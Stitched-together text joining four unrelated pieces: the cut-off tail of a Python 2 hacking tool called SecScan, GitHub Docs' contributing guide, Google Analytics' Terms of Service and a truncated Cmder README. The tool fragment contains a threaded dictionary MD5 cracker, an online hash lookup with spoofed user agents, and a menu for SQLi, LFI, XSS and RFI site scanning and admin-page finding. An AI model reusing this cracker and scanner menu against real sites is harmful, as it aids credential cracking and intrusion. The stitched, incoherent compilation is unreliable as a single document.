words): """Print result if found""" print self.hashm + ' = ' + words def word(): """Create queue and threads for hash crack""" queue = Queue.Queue() wordlist = raw_input('Wordlist: ') hashm = raw_input('Enter Md5 hash: ') read = open(wordlist) for words in read: words = words.replace("\n","") queue.put(words) read.close() for i in range(5): thread = Cracker(queue, hashm) thread.setDaemon(True) thread.start() queue.join() class OnlineCrack: """Use online service to check for hash""" def crack(self): """Connect and check hash""" hashm = raw_input('Enter MD5 Hash: ') conn = urllib2.Request('http://md5.hashcracking.com/search.php?md5=%s' % (hashm)) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) data = opener.open(conn).read() if data == 'No results returned.': print '\n- Not found or not valid -' else: print '\n- %s -' % (data) class Check: """Check your current IP address""" def grab(self): """Connect to site and grab IP""" site = 'http://www.tracemyip.org/' try: conn = urllib2.Request(site) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() opener.open(conn) data = opener.open(conn).read() start = 0 end = len(data) start = data.find('onClick="', start, end) end = data.find('size=', start, end) ip_add = data[start+46:end-2].strip() print '\nYour current Ip address is %s' % (ip_add) except urllib2.HTTPError: print 'Error connecting' def output(): """Outputs dork scan results to screen""" print '\n>> ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\nm0le@tormail.org\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main()
nima0011
# Contributing to this repository <!-- omit in toc --> ## Getting started <!-- omit in toc --> Before you begin: - This site is powered by Node.js. Check to see if you're on the [version of node we support](contributing/development.md). - Have you read the [code of conduct](CODE_OF_CONDUCT.md)? - Check out the [existing issues](https://github.com/github/docs/issues) & see if we [accept contributions](#types-of-contributions-memo) for your type of issue. ### Use the 'make a contribution' button  Navigating a new codebase can be challenging, so we're making that a little easier. As you're using docs.github.com, you may come across an article that you want to make an update to. You can click on the **make a contribution** button right on that article, which will take you to the file in this repo where you'll make your changes. Before you make your changes, check to see if an [issue exists](https://github.com/github/docs/issues/) already for the change you want to make. ### Don't see your issue? Open one If you spot something new, open an issue using a [template](https://github.com/github/docs/issues/new/choose). We'll use the issue to have a conversation about the problem you want to fix. ### Ready to make a change? Fork the repo Fork using GitHub Desktop: - [Getting started with GitHub Desktop](https://docs.github.com/en/desktop/installing-and-configuring-github-desktop/getting-started-with-github-desktop) will guide you through setting up Desktop. - Once Desktop is set up, you can use it to [fork the repo](https://docs.github.com/en/desktop/contributing-and-collaborating-using-github-desktop/cloning-and-forking-repositories-from-github-desktop)! Fork using the command line: - [Fork the repo](https://docs.github.com/en/github/getting-started-with-github/fork-a-repo#fork-an-example-repository) so that you can make your changes without affecting the original project until you're ready to merge them. Fork with [GitHub Codespaces](https://github.com/features/codespaces): - [Fork, edit, and preview](https://docs.github.com/en/free-pro-team@latest/github/developing-online-with-codespaces/creating-a-codespace) using [GitHub Codespaces](https://github.com/features/codespaces) without having to install and run the project locally. ### Make your update: Make your changes to the file(s) you'd like to update. Here are some tips and tricks for [using the docs codebase](#working-in-the-githubdocs-repository). - Are you making changes to the application code? You'll need **Node.js v14** to run the site locally. See [contributing/development.md](contributing/development.md). - Are you contributing to markdown? We use [GitHub Markdown](contributing/content-markup-reference.md). ### Open a pull request When you're done making changes and you'd like to propose them for review, use the [pull request template](#pull-request-template) to open your PR (pull request). ### Submit your PR & get it reviewed - Once you submit your PR, others from the Docs community will review it with you. The first thing you're going to want to do is a [self review](#self-review). - After that, we may have questions, check back on your PR to keep up with the conversation. - Did you have an issue, like a merge conflict? Check out our [git tutorial](https://lab.github.com/githubtraining/managing-merge-conflicts) on how to resolve merge conflicts and other issues. ### Your PR is merged! Congratulations! The whole GitHub community thanks you. :sparkles: Once your PR is merged, you will be proudly listed as a contributor in the [contributor chart](https://github.com/github/docs/graphs/contributors). ### Keep contributing as you use GitHub Docs Now that you're a part of the GitHub Docs community, you can keep participating in many ways. **Learn more about contributing:** - [Types of contributions :memo:](#types-of-contributions-memo) - [:mega: Discussions](#mega-discussions) - [:beetle: Issues](#beetle-issues) - [:hammer_and_wrench: Pull requests](#hammer_and_wrench-pull-requests) - [:question: Support](#question-support) - [:earth_asia: Translations](#earth_asia-translations) - [:balance_scale: Site Policy](#balance_scale-site-policy) - [Starting with an issue](#starting-with-an-issue) - [Labels](#labels) - [Opening a pull request](#opening-a-pull-request) - [Working in the github/docs repository](#working-in-the-githubdocs-repository) - [Reviewing](#reviewing) - [Self review](#self-review) - [Pull request template](#pull-request-template) - [Suggested changes](#suggested-changes) - [Windows](#windows) ## Types of contributions :memo: You can contribute to the GitHub Docs content and site in several ways. This repo is a place to discuss and collaborate on docs.github.com! Our small, but mighty :muscle: docs team is maintaining this repo, to preserve our bandwidth, off topic conversations will be closed. ### :mega: Discussions Discussions are where we have conversations. If you'd like help troubleshooting a docs PR you're working on, have a great new idea, or want to share something amazing you've learned in our docs, join us in [discussions](https://github.com/github/docs/discussions). ### :beetle: Issues [Issues](https://docs.github.com/en/github/managing-your-work-on-github/about-issues) are used to track tasks that contributors can help with. If an issue has a triage label, we haven't reviewed it yet and you shouldn't begin work on it. If you've found something in the content or the website that should be updated, search open issues to see if someone else has reported the same thing. If it's something new, open an issue using a [template](https://github.com/github/docs/issues/new/choose). We'll use the issue to have a conversation about the problem you want to fix. ### :hammer_and_wrench: Pull requests A [pull request](https://docs.github.com/en/github/collaborating-with-issues-and-pull-requests/about-pull-requests) is a way to suggest changes in our repository. When we merge those changes, they should be deployed to the live site within 24 hours. :earth_africa: To learn more about opening a pull request in this repo, see [Opening a pull request](#opening-a-pull-request) below. ### :question: Support We are a small team working hard to keep up with the documentation demands of a continuously changing product. Unfortunately, we just can't help with support questions in this repository. If you are experiencing a problem with GitHub, unrelated to our documentation, please [contact GitHub Support directly](https://support.github.com/contact). Any issues, discussions, or pull requests opened here requesting support will be given information about how to contact GitHub Support, then closed and locked. If you're having trouble with your GitHub account, contact [Support](https://support.github.com/contact). ### :earth_asia: Translations This website is internationalized and available in multiple languages. The source content in this repository is written in English. We integrate with an external localization platform called [Crowdin](https://crowdin.com) and work with professional translators to localize the English content. **We do not currently accept contributions for translated content**, but we hope to in the future. ### :balance_scale: Site Policy GitHub's site policies are published on docs.github.com, too! If you find a typo in the site policy section, you can open a pull request to fix it. For anything else, see [the CONTRIBUTING guide in the site-policy repo](https://github.com/github/site-policy/blob/main/CONTRIBUTING.md). ## Starting with an issue You can browse existing issues to find something that needs help! ### Labels Labels can help you find an issue you'd like to help with. - The [`help wanted` label](https://github.com/github/docs/issues?q=is%3Aopen+is%3Aissue+label%3A%22help+wanted%22) is for problems or updates that anyone in the community can start working on. - The [`good first issue` label](https://github.com/github/docs/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue%22) is for problems or updates we think are ideal for beginners. - The [`content` label](https://github.com/github/docs/issues?q=is%3Aopen+is%3Aissue+label%3Acontent) is for problems or updates in the content on docs.github.com. These will usually require some knowledge of Markdown. - The [`engineering` label](https://github.com/github/docs/issues?q=is%3Aopen+is%3Aissue+label%3Aengineering) is for problems or updates in the docs.github.com website. These will usually require some knowledge of JavaScript/Node.js or YAML to fix. ## Opening a pull request You can use the GitHub user interface :pencil2: for some small changes, like fixing a typo or updating a readme. You can also fork the repo and then clone it locally, to view changes and run your tests on your machine. ## Working in the github/docs repository Here's some information that might be helpful while working on a Docs PR: - [Development](/contributing/development.md) - This short guide describes how to get this app running on your local machine. - [Content markup reference](/contributing/content-markup-reference.md) - All of our content is written in GitHub-flavored Markdown, with some additional enhancements. - [Content style guide for GitHub Docs](/contributing/content-style-guide.md) - This guide covers GitHub-specific information about how we style our content and images. It also links to the resources we use for general style guidelines. - [Reusables](/data/reusables/README.md) - We use reusables to help us keep content up to date. Instead of writing the same long string of information in several articles, we create a reusable, then call it from the individual articles. - [Variables](/data/variables/README.md) - We use variables the same way we use reusables. Variables are for short strings of reusable text. - [Liquid](/contributing/liquid-helpers.md) - We use liquid helpers to create different versions of our content. - [Scripts](/script/README.md) - The scripts directory is the home for all of the scripts you can run locally. - [Tests](/tests/README.md) - We use tests to ensure content will render correctly on the site. Tests run automatically in your PR, and sometimes it's also helpful to run them locally. ## Reviewing We (usually the docs team, but sometimes GitHub product managers, engineers, or supportocats too!) review every single PR. The purpose of reviews is to create the best content we can for people who use GitHub. :yellow_heart: Reviews are always respectful, acknowledging that everyone did the best possible job with the knowledge they had at the time. :yellow_heart: Reviews discuss content, not the person who created it. :yellow_heart: Reviews are constructive and start conversation around feedback. ### Self review You should always review your own PR first. For content changes, make sure that you: - [ ] Confirm that the changes address every part of the content design plan from your issue (if there are differences, explain them). - [ ] Review the content for technical accuracy. - [ ] Review the entire pull request using the [localization checklist](contributing/localization-checklist.md). - [ ] Copy-edit the changes for grammar, spelling, and adherence to the style guide. - [ ] Check new or updated Liquid statements to confirm that versioning is correct. - [ ] Check that all of your changes render correctly in staging. Remember, that lists and tables can be tricky. - [ ] If there are any failing checks in your PR, troubleshoot them until they're all passing. ### Pull request template When you open a pull request, you must fill out the "Ready for review" template before we can review your PR. This template helps reviewers understand your changes and the purpose of your pull request. ### Suggested changes We may ask for changes to be made before a PR can be merged, either using [suggested changes](https://docs.github.com/en/github/collaborating-with-issues-and-pull-requests/incorporating-feedback-in-your-pull-request) or pull request comments. You can apply suggested changes directly through the UI. You can make any other changes in your fork, then commit them to your branch. As you update your PR and apply changes, mark each conversation as [resolved](https://docs.github.com/en/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request#resolving-conversations). ## Windows This site can be developed on Windows, however a few potential gotchas need to be kept in mind: 1. Regular Expressions: Windows uses `\r\n` for line endings, while Unix based systems use `\n`. Therefore when working on Regular Expressions, use `\r?\n` instead of `\n` in order to support both environments. The Node.js [`os.EOL`](https://nodejs.org/api/os.html#os_os_eol) property can be used to get an OS-specific end-of-line marker. 1. Paths: Windows systems use `\` for the path separator, which would be returned by `path.join` and others. You could use `path.posix`, `path.posix.join` etc and the [slash](https://ghub.io/slash) module, if you need forward slashes - like for constructing URLs - or ensure your code works with either. 1. Bash: Not every Windows developer has a terminal that fully supports Bash, so it's generally preferred to write [scripts](/script) in JavaScript instead of Bash.
NestieGuilas
Marketing Platform Google Analytics Terms of Service These Google Analytics Terms of Service (this "Agreement") are entered into by Google LLC ("Google") and the entity executing this Agreement ("You"). This Agreement governs Your use of the standard Google Analytics (the "Service"). BY CLICKING THE "I ACCEPT" BUTTON, COMPLETING THE REGISTRATION PROCESS, OR USING THE SERVICE, YOU ACKNOWLEDGE THAT YOU HAVE REVIEWED AND ACCEPT THIS AGREEMENT AND ARE AUTHORIZED TO ACT ON BEHALF OF, AND BIND TO THIS AGREEMENT, THE OWNER OF THIS ACCOUNT. In consideration of the foregoing, the parties agree as follows: 1. Definitions. "Account" refers to the account for the Service. All Profiles (as applicable) linked to a single Property will have their Hits aggregated before determining the charge for the Service for that Property. "Confidential Information" includes any proprietary data and any other information disclosed by one party to the other in writing and marked "confidential" or disclosed orally and, within five business days, reduced to writing and marked "confidential". However, Confidential Information will not include any information that is or becomes known to the general public, which is already in the receiving party's possession prior to disclosure by a party or which is independently developed by the receiving party without the use of Confidential Information. "Customer Data" or "Google Analytics Data" means the data you collect, process or store using the Service concerning the characteristics and activities of Users. "Documentation" means any accompanying documentation made available to You by Google for use with the Processing Software, including any documentation available online. "GAMC" means the Google Analytics Measurement Code, which is installed on a Property for the purpose of collecting Customer Data, together with any fixes, updates and upgrades provided to You. "Hit" means a collection of interactions that results in data being sent to the Service and processed. Examples of Hits may include page view hits and ecommerce hits. A Hit can be a call to the Service by various libraries, but does not have to be so (e.g., a Hit can be delivered to the Service by other Google Analytics-supported protocols and mechanisms made available by the Service to You). "Platform Home" means the user interface through which You can access certain Google Marketing Platform-level functionality. "Processing Software" means the Google Analytics server-side software and any upgrades, which analyzes the Customer Data and generates the Reports. "Profile" means the collection of settings that together determine the information to be included in, or excluded from, a particular Report. For example, a Profile could be established to view a small portion of a web site as a unique Report. "Property" means any web page, application, other property or resource under Your control that sends data to Google Analytics. "Privacy Policy" means the privacy policy on a Property. "Report" means the resulting analysis shown at www.google.com/analytics/, some of which may include analysis for a Profile. "Servers" means the servers controlled by Google (or its wholly-owned subsidiaries) on which the Processing Software and Customer Data are stored. “SDKs” mean certain software development kits, which may be used or incorporated into a Property app for the purpose of collecting Customer Data, together with any fixes, updates, and upgrades provided to You. "Software" means the Processing Software, GAMC and/or SDKs. "Third Party" means any third party (i) to which You provide access to Your Account or (ii) for which You use the Service to collect information on the third party's behalf. "Users" means users and/or visitors to Your Properties. The words "include" and "including" mean "including but not limited to." 2. Fees and Service. Subject to Section 15, the Service is provided without charge to You for up to 10 million Hits per month per Account. Google may change its fees and payment policies for the Service from time to time including the addition of costs for geographic data, the importing of cost data from search engines, or other fees charged to Google or its wholly-owned subsidiaries by third party vendors for the inclusion of data in the Service reports. The changes to the fees or payment policies are effective upon Your acceptance of those changes which will be posted at www.google.com/analytics/. Unless otherwise stated, all fees are quoted in U.S. Dollars. Any outstanding balance becomes immediately due and payable upon termination of this Agreement and any collection expenses (including attorneys' fees) incurred by Google will be included in the amount owed, and may be charged to the credit card or other billing mechanism associated with Your AdWords account. 3. Member Account, Password, and Security. To register for the Service, You must complete the registration process by providing Google with current, complete and accurate information as prompted by the registration form, including Your e-mail address (username) and password. You will protect Your passwords and take full responsibility for Your own, and third party, use of Your accounts. You are solely responsible for any and all activities that occur under Your Account. You will notify Google immediately upon learning of any unauthorized use of Your Account or any other breach of security. Google's (or its wholly-owned subsidiaries) support staff may, from time to time, log in to the Service under Your customer password in order to maintain or improve service, including to provide You assistance with technical or billing issues. 4. Nonexclusive License. Subject to the terms and conditions of this Agreement, (a) Google grants You a limited, revocable, non-exclusive, non-sublicensable license to install, copy and use the GAMC and/or SDKs solely as necessary for You to use the Service on Your Properties or Third Party's Properties; and (b) You may remotely access, view and download Your Reports stored at www.google.com/analytics/. You will not (and You will not allow any third party to) (i) copy, modify, adapt, translate or otherwise create derivative works of the Software or the Documentation; (ii) reverse engineer, decompile, disassemble or otherwise attempt to discover the source code of the Software, except as expressly permitted by the law in effect in the jurisdiction in which You are located; (iii) rent, lease, sell, assign or otherwise transfer rights in or to the Software, the Documentation or the Service; (iv) remove any proprietary notices or labels on the Software or placed by the Service; (v) use, post, transmit or introduce any device, software or routine which interferes or attempts to interfere with the operation of the Service or the Software; or (vi) use data labeled as belonging to a third party in the Service for purposes other than generating, viewing, and downloading Reports. You will comply with all applicable laws and regulations in Your use of and access to the Documentation, Software, Service and Reports. 5. Confidentiality and Beta Features. Neither party will use or disclose the other party's Confidential Information without the other's prior written consent except for the purpose of performing its obligations under this Agreement or if required by law, regulation or court order; in which case, the party being compelled to disclose Confidential Information will give the other party as much notice as is reasonably practicable prior to disclosing the Confidential Information. Certain Service features are identified as "Alpha," "Beta," "Experiment," (either within the Service or elsewhere by Google) or as otherwise unsupported or confidential (collectively, "Beta Features"). You may not disclose any information from Beta Features or the terms or existence of any non-public Beta Features. Google will have no liability arising out of or related to any Beta Features. 6. Information Rights and Publicity. Google and its wholly owned subsidiaries may retain and use, subject to the terms of its privacy policy (located at https://www.google.com/policies/privacy/), information collected in Your use of the Service. Google will not share Your Customer Data or any Third Party's Customer Data with any third parties unless Google (i) has Your consent for any Customer Data or any Third Party's consent for the Third Party's Customer Data; (ii) concludes that it is required by law or has a good faith belief that access, preservation or disclosure of Customer Data is reasonably necessary to protect the rights, property or safety of Google, its users or the public; or (iii) provides Customer Data in certain limited circumstances to third parties to carry out tasks on Google's behalf (e.g., billing or data storage) with strict restrictions that prevent the data from being used or shared except as directed by Google. When this is done, it is subject to agreements that oblige those parties to process Customer Data only on Google's instructions and in compliance with this Agreement and appropriate confidentiality and security measures. 7. Privacy. You will not and will not assist or permit any third party to, pass information to Google that Google could use or recognize as personally identifiable information. You will have and abide by an appropriate Privacy Policy and will comply with all applicable laws, policies, and regulations relating to the collection of information from Users. You must post a Privacy Policy and that Privacy Policy must provide notice of Your use of cookies, identifiers for mobile devices (e.g., Android Advertising Identifier or Advertising Identifier for iOS) or similar technology used to collect data. You must disclose the use of Google Analytics, and how it collects and processes data. This can be done by displaying a prominent link to the site "How Google uses data when you use our partners' sites or apps", (located at www.google.com/policies/privacy/partners/, or any other URL Google may provide from time to time). You will use commercially reasonable efforts to ensure that a User is provided with clear and comprehensive information about, and consents to, the storing and accessing of cookies or other information on the User’s device where such activity occurs in connection with the Service and where providing such information and obtaining such consent is required by law. You must not circumvent any privacy features (e.g., an opt-out) that are part of the Service. You will comply with all applicable Google Analytics policies located at www.google.com/analytics/policies/ (or such other URL as Google may provide) as modified from time to time (the "Google Analytics Policies"). You may participate in an integrated version of Google Analytics and certain Google advertising services ("Google Analytics Advertising Features"). If You use Google Analytics Advertising Features, You will adhere to the Google Analytics Advertising Features policy (available at support.google.com/analytics/bin/answer.py?hl=en&topic=2611283&answer=2700409). Your access to and use of any Google advertising service is subject to the applicable terms between You and Google regarding that service. If You use the Platform Home, Your use of the Platform Home is subject to the Platform Home Additional Terms (or as subsequently re-named) available at https://support.google.com/marketingplatform/answer/9047313 (or such other URL as Google may provide) as modified from time to time (the "Platform Home Terms"). 8. Indemnification. To the extent permitted by applicable law, You will indemnify, hold harmless and defend Google and its wholly-owned subsidiaries, at Your expense, from any and all third-party claims, actions, proceedings, and suits brought against Google or any of its officers, directors, employees, agents or affiliates, and all related liabilities, damages, settlements, penalties, fines, costs or expenses (including, reasonable attorneys' fees and other litigation expenses) incurred by Google or any of its officers, directors, employees, agents or affiliates, arising out of or relating to (i) Your breach of any term or condition of this Agreement, (ii) Your use of the Service, (iii) Your violations of applicable laws, rules or regulations in connection with the Service, (iv) any representations and warranties made by You concerning any aspect of the Service, the Software or Reports to any Third Party; (v) any claims made by or on behalf of any Third Party pertaining directly or indirectly to Your use of the Service, the Software or Reports; (vi) violations of Your obligations of privacy to any Third Party; and (vii) any claims with respect to acts or omissions of any Third Party in connection with the Service, the Software or Reports. Google will provide You with written notice of any claim, suit or action from which You must indemnify Google. You will cooperate as fully as reasonably required in the defense of any claim. Google reserves the right, at its own expense, to assume the exclusive defense and control of any matter subject to indemnification by You. 9. Third Parties. If You use the Service on behalf of the Third Party or a Third Party otherwise uses the Service through Your Account, whether or not You are authorized by Google to do so, then You represent and warrant that (a) You are authorized to act on behalf of, and bind to this Agreement, the Third Party to all obligations that You have under this Agreement, (b) Google may share with the Third Party any Customer Data that is specific to the Third Party's Properties, and (c) You will not disclose Third Party's Customer Data to any other party without the Third Party's consent. 10. DISCLAIMER OF WARRANTIES. TO THE FULLEST EXTENT PERMITTED BY APPLICABLE LAW, EXCEPT AS EXPRESSLY PROVIDED FOR IN THIS AGREEMENT, GOOGLE MAKES NO OTHER WARRANTY OF ANY KIND, WHETHER EXPRESS, IMPLIED, STATUTORY OR OTHERWISE, INCLUDING WITHOUT LIMITATION WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR USE AND NONINFRINGEMENT. 11. LIMITATION OF LIABILITY. TO THE EXTENT PERMITTED BY APPLICABLE LAW, GOOGLE WILL NOT BE LIABLE FOR YOUR LOST REVENUES OR INDIRECT, SPECIAL, INCIDENTAL, CONSEQUENTIAL, EXEMPLARY, OR PUNITIVE DAMAGES, EVEN IF GOOGLE OR ITS SUBSIDIARIES AND AFFILIATES HAVE BEEN ADVISED OF, KNEW OR SHOULD HAVE KNOWN THAT SUCH DAMAGES WERE POSSIBLE AND EVEN IF DIRECT DAMAGES DO NOT SATISFY A REMEDY. GOOGLE'S (AND ITS WHOLLY OWNED SUBSIDIARIES’) TOTAL CUMULATIVE LIABILITY TO YOU OR ANY OTHER PARTY FOR ANY LOSS OR DAMAGES RESULTING FROM CLAIMS, DEMANDS, OR ACTIONS ARISING OUT OF OR RELATING TO THIS AGREEMENT WILL NOT EXCEED $500 (USD). 12. Proprietary Rights Notice. The Service, which includes the Software and all Intellectual Property Rights therein are, and will remain, the property of Google (and its wholly owned subsidiaries). All rights in and to the Software not expressly granted to You in this Agreement are reserved and retained by Google and its licensors without restriction, including, Google's (and its wholly owned subsidiaries’) right to sole ownership of the Software and Documentation. Without limiting the generality of the foregoing, You agree not to (and not to allow any third party to): (a) sublicense, distribute, or use the Service or Software outside of the scope of the license granted in this Agreement; (b) copy, modify, adapt, translate, prepare derivative works from, reverse engineer, disassemble, or decompile the Software or otherwise attempt to discover any source code or trade secrets related to the Service; (c) rent, lease, sell, assign or otherwise transfer rights in or to the Software, Documentation or the Service; (d) use, post, transmit or introduce any device, software or routine which interferes or attempts to interfere with the operation of the Service or the Software; (e) use the trademarks, trade names, service marks, logos, domain names and other distinctive brand features or any copyright or other proprietary rights associated with the Service for any purpose without the express written consent of Google; (f) register, attempt to register, or assist anyone else to register any trademark, trade name, serve marks, logos, domain names and other distinctive brand features, copyright or other proprietary rights associated with Google (or its wholly owned subsidiaries) other than in the name of Google (or its wholly owned subsidiaries, as the case may be); (g) remove, obscure, or alter any notice of copyright, trademark, or other proprietary right appearing in or on any item included with the Service or Software; or (h) seek, in a proceeding filed during the term of this Agreement or for one year after such term, an injunction of any portion of the Service based on patent infringement. 13. U.S. Government Rights. If the use of the Service is being acquired by or on behalf of the U.S. Government or by a U.S. Government prime contractor or subcontractor (at any tier), in accordance with 48 C.F.R. 227.7202-4 (for Department of Defense (DOD) acquisitions) and 48 C.F.R. 2.101 and 12.212 (for non-DOD acquisitions), the Government's rights in the Software, including its rights to use, modify, reproduce, release, perform, display or disclose the Software or Documentation, will be subject in all respects to the commercial license rights and restrictions provided in this Agreement. 14. Term and Termination. Either party may terminate this Agreement at any time with notice. Upon any termination of this Agreement, Google will stop providing, and You will stop accessing the Service. Additionally, if Your Account and/or Properties are terminated, You will (i) delete all copies of the GAMC from all Properties and/or (ii) suspend any and all use of the SDKs within 3 business days of such termination. In the event of any termination (a) You will not be entitled to any refunds of any usage fees or any other fees, and (b) any outstanding balance for Service rendered through the date of termination will be immediately due and payable in full and (c) all of Your historical Report data will no longer be available to You. 15. Modifications to Terms of Service and Other Policies. Google may modify these terms or any additional terms that apply to the Service to, for example, reflect changes to the law or changes to the Service. You should look at the terms regularly. Google will post notice of modifications to these terms at https://www.google.com/analytics/terms/, the Google Analytics Policies at www.google.com/analytics/policies/, or other policies referenced in these terms at the applicable URL for such policies. Changes will not apply retroactively and will become effective no sooner than 14 days after they are posted. If You do not agree to the modified terms for the Service, You should discontinue Your use Google Analytics. No amendment to or modification of this Agreement will be binding unless (i) in writing and signed by a duly authorized representative of Google, (ii) You accept updated terms online, or (iii) You continue to use the Service after Google has posted updates to the Agreement or to any policy governing the Service. 16. Miscellaneous, Applicable Law and Venue. Google will be excused from performance in this Agreement to the extent that performance is prevented, delayed or obstructed by causes beyond its reasonable control. This Agreement (including any amendment agreed upon by the parties in writing) represents the complete agreement between You and Google concerning its subject matter, and supersedes all prior agreements and representations between the parties. If any provision of this Agreement is held to be unenforceable for any reason, such provision will be reformed to the extent necessary to make it enforceable to the maximum extent permissible so as to effect the intent of the parties, and the remainder of this Agreement will continue in full force and effect. This Agreement will be governed by and construed under the laws of the state of California without reference to its conflict of law principles. In the event of any conflicts between foreign law, rules, and regulations, and California law, rules, and regulations, California law, rules and regulations will prevail and govern. Each party agrees to submit to the exclusive and personal jurisdiction of the courts located in Santa Clara County, California. The United Nations Convention on Contracts for the International Sale of Goods and the Uniform Computer Information Transactions Act do not apply to this Agreement. The Software is controlled by U.S. Export Regulations, and it may be not be exported to or used by embargoed countries or individuals. Any notices to Google must be sent to: Google LLC, 1600 Amphitheatre Parkway, Mountain View, CA 94043, USA, with a copy to Legal Department, via first class or air mail or overnight courier, and are deemed given upon receipt. A waiver of any default is not a waiver of any subsequent default. You may not assign or otherwise transfer any of Your rights in this Agreement without Google's prior written consent, and any such attempt is void. The relationship between Google and You is not one of a legal partnership relationship, but is one of independent contractors. This Agreement will be binding upon and inure to the benefit of the respective successors and assigns of the parties hereto. The following sections of this Agreement will survive any termination thereof: 1, 4, 5, 6 (except the last two sentences), 7, 8, 9, 10, 11, 12, 14, 16, and 17. 17. Google Analytics for Firebase. If You link a Property to Firebase (“Firebase Linkage”) as part of using the Service, the following terms, in addition to Sections 1-16 above, will also apply to You, and will also govern Your use of the Service, including with respect to Your use of Firebase Linkage. Other than as modified below, all other terms will stay the same and continue to apply. In the event of a conflict between this Section 17 and Sections 1-16 above, the terms in Section 17 will govern and control solely with respect to Your use of the Firebase Linkage. The following definition in Section 1 is modified as follows: "Hit" means a collection of interactions that results in data being sent to the Service and processed. Examples of Hits may include page view hits and ecommerce hits. A Hit can be a call to the Service by various libraries, but does not have to be so (e.g., a Hit can be delivered to the Service by other Google Analytics-supported protocols and mechanisms made available by the Service to You). For the sake of clarity, a Hit does not include certain events whose collection reflects interactions with certain Properties capable of supporting multiple data streams, and which may include screen views and custom events (the collection of events, an “Enhanced Packet”). The following sentence is added to the end of Section 7 as follows: If You link a Property to a Firebase project (“Firebase Linkage”) (i) certain data from Your Property, including Customer Data, may be made accessible within or to any other entity or personnel according to permissions set in Firebase and (ii) that Property may have certain Service settings modified by authorized personnel of Firebase (notwithstanding the settings You may have designated for that Property within the Service). Last Updated June 17, 2019 Follow us About Google Marketing Platform Overview For Small Businesses For Enterprise Learning & support Support Blog Analytics Academy Skillshop Google Primer Developers & partners Google Marketing Platform Partners Google Measurement Partners Analytics for developers Tag Manager for developers Surveys for developers Campaign Manager 360 for developers Related products Google Ads Google AdSense Google Ad Manager Google Cloud Firebase More from Google Think with Google Business Solutions Google Workspace PrivacyTermsAbout GoogleGoogle Products Help
Ch-Jad
# Cmder [](https://gitter.im/cmderdev/cmder?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) [](https://ci.appveyor.com/project/MartiUK/cmder) Cmder is a **software package** created out of pure frustration over absence of usable console emulator on Windows. It is based on [ConEmu](https://conemu.github.io/) with *major* config overhaul, comes with a Monokai color scheme, amazing [clink](https://chrisant996.github.io/clink/) (further enhanced by [clink-completions](https://github.com/vladimir-kotikov/clink-completions)) and a custom prompt layout.  ## Why use it The main advantage of Cmder is portability. It is designed to be totally self-contained with no external dependencies, which makes it great for **USB Sticks** or **cloud storage**. So you can carry your console, aliases and binaries (like wget, curl and git) with you anywhere. The Cmder's user interface is also designed to be more eye pleasing, and you can compare the main differences between Cmder and ConEmu [here](https://conemu.github.io/en/cmder.html). ## Installation ### Single User Portable Config 1. Download the [latest release](https://github.com/cmderdev/cmder/releases/) 2. Extract the archive. *Note: This path should not be `C:\Program Files` or anywhere else that would require Administrator access for modifying configuration files* 3. (optional) Place your own executable files into the `%cmder_root%\bin` folder to be injected into your PATH. 4. Run `Cmder.exe` ### Shared Cmder install with Non-Portable Individual User Config 1. Download the [latest release](https://github.com/cmderdev/cmder/releases/) 2. Extract the archive to a shared location. 3. (optional) Place your own executable files and custom app folders into the `%cmder_root%\bin`. See: [bin/README.md](./bin/Readme.md) - This folder to be injected into your PATH by default. - See `/max_depth [1-5]` in 'Command Line Arguments for `init.bat`' table to add subdirectories recursively. 4. (optional) Place your own custom app folders into the `%cmder_root%\opt`. See: [opt/README.md](./opt/Readme.md) - This folder will NOT be injected into your PATH so you have total control of what gets added. 5. Run `Cmder.exe` with `/C` command line argument. Example: `cmder.exe /C %userprofile%\cmder_config` * This will create the following directory structure if it is missing. ``` c:\users\[CH JaDi Rajput]\cmder_config ├───bin ├───config │ └───profile.d └───opt ``` - (optional) Place your own executable files and custom app folders into `%userprofile%\cmder_config\bin`. - This folder to be injected into your PATH by default. - See `/max_depth [1-5]` in 'Command Line Arguments for `init.bat`' table to add subdirectories recursively. - (optional) Place your own custom app folders into the `%user_profile%\cmder_config\opt`. - This folder will NOT be injected into your PATH so you have total control of what gets added. * Both the shared install and the individual user config locations can contain a full set of init and profile.d scripts enabling shared config with user overrides. See below. ## Cmder.exe Command Line Arguments | Argument | Description | | ------------------- | ----------------------------------------------------------------------- | | `/C [user_root_path]` | Individual user Cmder root folder. Example: `%userprofile%\cmder_config` | | `/M` | Use `conemu-%computername%.xml` for ConEmu settings storage instead of `user_conemu.xml` | | `/REGISTER [ALL, USER]` | Register a Windows Shell Menu shortcut. | | `/UNREGISTER [ALL, USER]` | Un-register a Windows Shell Menu shortcut. | | 